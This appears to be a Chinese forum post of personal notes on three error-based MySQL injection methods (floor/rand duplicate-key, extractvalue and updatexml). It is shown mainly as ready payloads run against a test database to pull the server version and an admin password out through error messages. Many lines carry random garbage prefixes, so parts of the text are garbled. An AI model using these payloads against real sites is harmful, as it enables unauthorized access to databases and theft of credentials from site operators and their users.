关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
- Q" X+ h+ l7 q) r" l% g实际测试环境：
4 J+ \# w1 {- y( `' c​
$ d$ g$ p% W6 D( o
mysql> show tables;
) n$ O/ E3 ^. ^2 m+----------------+
. l8 c  f& j1 G8 J| Tables_in_test |
8 M/ z* A) B$ A+----------------+
6 {" |# u' ^3 [| admin          |
! {+ k' F# Z6 o; x2 Z2 u  e  T: S| article        |
5 L8 N2 k* V2 I5 B7 O( x; [+----------------+

# @( r7 t- A% A2 ~1 w% ~
. ], i, S" }: I: u
mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
' @' ^7 K( K$ H| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
5 B# r& n4 Y9 @. b2 e( \# g| pass  | varchar(50)      | NO   |     | NULL    |                |
4 Q- H% k+ t0 q! b+-------+------------------+------+-----+---------+----------------+
( k) _( Z. P" H: [$ i
9 Y2 H4 j7 M  {& I0 x7 q. {

: U7 n0 m) Z7 Rmysql> describe article;
  z& _9 H9 P* f& }0 S1 }* G+---------+------------------+------+-----+---------+----------------+
: ]) E" |% d$ L4 r; B4 d| Field   | Type             | Null | Key | Default | Extra          |
2 v' p; z2 K  O0 K! o! b3 Y( O# S+---------+------------------+------+-----+---------+----------------+
7 I, c# C' @, m/ |: F: a| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
  t0 F# f7 m- D3 d3 _1 k4 [! q) g1 l| title   | varchar(50)      | NO   |     | NULL    |                |
6 Q5 y1 x3 R2 {3 v+ X7 [6 K0 k| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
% `: X* F9 r' K, g1、通过floor报错
/ f4 ^8 w9 D% @* c  p4 {可以通过如下一些利用代码
/ [7 \) W7 c, A$ b
, n8 {+ q" z7 ?
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);


and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
首先进行正常查询：
" Q  Y0 K3 q! y2 Z0 L9 O) a
7 T8 h5 E  _) g' d1 ?mysql> select * from article where id = 1;
! O* p% Q$ E) ~+----+-------+---------+
1 S! w9 y9 ~/ S9 `( D% _| id | title | content |
$ F' s0 E% n( ~- P( _& d" H- C+----+-------+---------+
|  1 | test  | do it   |
6 a! C/ ?2 k( R. t& F+----+-------+---------+
) s* w' m$ B2 e3 I1 X/ W0 U" t假如id输入存在注入的话，可以通过如下语句进行报错。
. f' P3 U5 ~; n' Y/ s. l

" X1 m# g1 c  w+ _% b, v0 Q  K! }5 Omysql> select * from article where id = 1 and (select 1 from
# r0 Q7 s0 c2 M# P; {' E8 |9 E! n(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
( t- Q4 `6 C0 D* ]% v! {例如我们需要查询管理员用户名和密码：
Method1:


mysql> select * from article where id = 1 and (select 1 from
" k" _' S8 q4 @: t2 e(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
6 g) }! ~5 n5 cERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
! c1 J0 [0 f5 NMethod2:
& p) L$ g6 d: s" t& Z

% N. S9 M' d. Q, y# J4 Q: }; Kmysql> select * from article where id = 1 and (select count(*)
6 d# w& e3 B6 k( ^6 L# r2 Z; ~from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
8 t0 w8 S; M# K' [- j9 k0 m! dfloor(rand(0)*2)));
' W1 N9 R8 g+ L8 ]0 O. @ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
- R" {, f3 R" g8 _& H% `; P# R2、ExtractValue
$ v% `- D' U; ^% G0 I测试语句如下
8 Q/ }$ [) _; H
% N, Y1 C4 G8 j$ h
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
9 o5 Z8 I0 e2 \: M实际测试过程
( L" ^) N  T7 R% c5 i

0 [% M9 z5 o( l* V' S6 @mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
- {2 q7 m- m+ @2 \3、UpdateXml
6 t0 y7 z) _8 n! _+ c0 @) ]6 Z2 L测试语句


and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
: F: n5 j9 m4 Y) h1 F
* e0 }( r( M& ~8 w$ O
! _/ P3 O7 P3 L; Kmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
/ R7 T2 U! w: x, M( X$ BERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
; m: M8 s  \  A; X2 l) s9 h, [, }All, thanks foreign guys.
* U0 y' a% s1 R1 O
​